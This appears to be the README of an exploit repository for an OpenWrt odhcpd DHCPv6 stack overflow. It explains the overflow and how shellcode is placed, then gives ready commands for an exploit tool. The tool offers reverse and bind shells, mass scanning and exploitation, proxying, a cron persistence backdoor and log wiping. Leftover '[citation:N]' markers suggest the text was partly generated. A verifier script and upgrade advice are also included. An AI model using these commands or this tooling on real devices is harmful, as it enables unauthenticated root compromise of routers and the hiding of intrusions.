CVE-2026-53921 – odhcpd Stack Overflow

⚠️ For educational and authorized testing only. Unauthorized use is illegal.

📖 Vulnerability Overview

CVE-2026-53921 is a critical stack buffer overflow in OpenWrt’s odhcpd daemon – the default DHCPv6/DHCPv4/RA server.

🔍 How it works

The vulnerability exists in odhcpd's DHCPv6 message handling code, specifically in the build_ia() and dhcpv6_ia_handle_IAs() functions.

Technical Deep Dive

1. The Root Cause

The bug occurs during the serialization (packing) of DHCPv6 Reply packets. When odhcpd responds to client requests, it constructs the reply in a fixed-size stack buffer of 512 bytes without proper bounds checking.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Triggering the Overflow

An attacker sends a DHCPv6 Request (or Solicit) with:

• 5 or more IA_NA (Identity Association for Non-temporary Address) options, each containing an IAAddress sub-option.
• 22 or more IA_PD (Identity Association for Prefix Delegation) options.

Each option consumes stack space as odhcpd builds its Reply. The accumulated data exceeds 512 bytes, causing the overflow.

3. Two Overflow Vectors

Vector Trigger Overflow Point

Site 1 5 IA_NA options build_ia() for IA_NA with IPv6 addresses

Site 2 22 IA_PD options build_ia() for IA_PD

The root cause is identical, but the overflow occurs in different code paths, making both vectors equally exploitable.

4. Memory Layout

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

The attacker overwrites the saved return address to point to their shellcode in memory.

5. Exploitation Requirements

Requirement Description

Network Access Attacker must have IPv6 connectivity to the target

Authentication None -- unauthenticated attack

Privileges odhcpd runs as root, so RCE grants full system control

Target Service UDP port 547 (DHCPv6) must be open

6. Shellcode Placement

In a real exploit, the attacker's shellcode is placed in the IAAddress IPv6 address fields (16 bytes per IA_NA). The crafted packets pack the shellcode, NOP sled, and return address into these fields.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Impact Chain

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Attack Vectors vs. Mitigation Status

Version Status RCE Possible?

odhcpd < e432dd6 Vulnerable ✅ Yes OpenWrt < 24.10.8 Vulnerable ✅ Yes OpenWrt < 25.12.5 Vulnerable ✅ Yes OpenWrt 24.10.8+ Patched ❌ No OpenWrt 25.12.5+ Patched ❌ No odhcpd master + e432dd6 Patched ❌ No

9. Real-world Exploitation

This vulnerability is particularly dangerous because:

• odhcpd is enabled by default on OpenWrt installations.
• No authentication is required---any device on the same IPv6 segment can attack.
• The bug is in the request processing path.
• Stack canaries and ASLR are rarely present on embedded MIPS/ARM devices.
• The exploit can bypass common defenses in many embedded environments.

🎯 Affected versions

🧰 Tools

This repository provides two independent scripts:

🔎 verifier.py – Vulnerability Checker

• Sends a standard DHCPv6 Solicit to verify the service is active.
• Reads HTTP/SSH banners to detect the OpenWrt version.
• Compares the version against the known vulnerable range.
• Does not send any overflow payload or shellcode.

💥 exploit.py – Full Exploit

• Dual‑overflow vectors: IA_NA (Site1) and IA_PD (Site2).
• Automatic architecture detection (MIPS / ARM).
• MIPS big‑endian reverse & bind shellcode.
• Support for SOCKS5 proxy.
• Persistence (cron backdoor) and log wiping.
• Threaded scanning & mass exploitation.
• Optional payload encoding (XOR).

🚀 Installation

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 Usage

🔍 Verifier – check if a target is vulnerable

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 Exploit – gain a reverse shell (dont use for illegal activity, only test adv)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ Command-line Options

verifier.py

exploit.py

🧪 Example Scenarios

1. Scan a list of targets

sudo python3 exploit.py -l targets.txt --scan-only --threads 10

### 2. Exploit a single target with bind shell

sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337

### 3. Use SOCKS5 proxy + persistence + log wiping

sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs

🛡️ Mitigation

Upgrade OpenWrt to 24.10.8 or 25.12.5 or later.

opkg update
opkg upgrade odhcpd

📌 References

Official Sources

• OpenWrt Security Advisory (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Detailed advisory covering both overflow vectors in odhcpd.

• CVE-2026-53921 NVD Entry https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Official NIST vulnerability database entry.

• OpenWrt 24.10.8 Release Notes https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Official release announcement for the 24.10 branch.

• OpenWrt 25.12.5 Release Notes https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Official release announcement for the 25.12 branch.

Related CVEs Fixed in the Same Release

The 24.10.8 and 25.12.5 releases address multiple odhcpd vulnerabilities beyond CVE-2026-53921 [citation:9]:

Technical Analysis & Write-ups

• The Hacker News Analysis https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Detailed technical breakdown of the vulnerability and exploitation vectors. [citation:1]

• GitHub PoC Repository https://github.com/0xBlackash/CVE-2026-53921 Public proof-of-concept implementations and technical details. [citation:3]

Additional Security Fixes in 25.12.5

Version 25.12.5 also addresses vulnerabilities in other core components [citation:10]:

• uhttpd: HTTP request smuggling (CVE-2026-55612, CVE-2026-55614)
• LuCI: Multiple privilege escalation and XSS flaws
• cgi-io: Authenticated path traversal
• Linux Kernel: Updated to 6.12.94 with multiple CVEs
• OpenSSL: Updated to 3.5.7 resolving numerous CVEs
• Dropbear SSH: Fixed CVE-2019-6111 and CVE-2026-35385

Supporting Documentation

• OpenWrt Firmware Selector https://firmware-selector.openwrt.org/ Download patched firmware images for your device.

• CISA Known Exploited Vulnerabilities Catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog Check if CVE-2026-53921 has been added to KEV (as of July 27, 2026, not listed). [citation:1]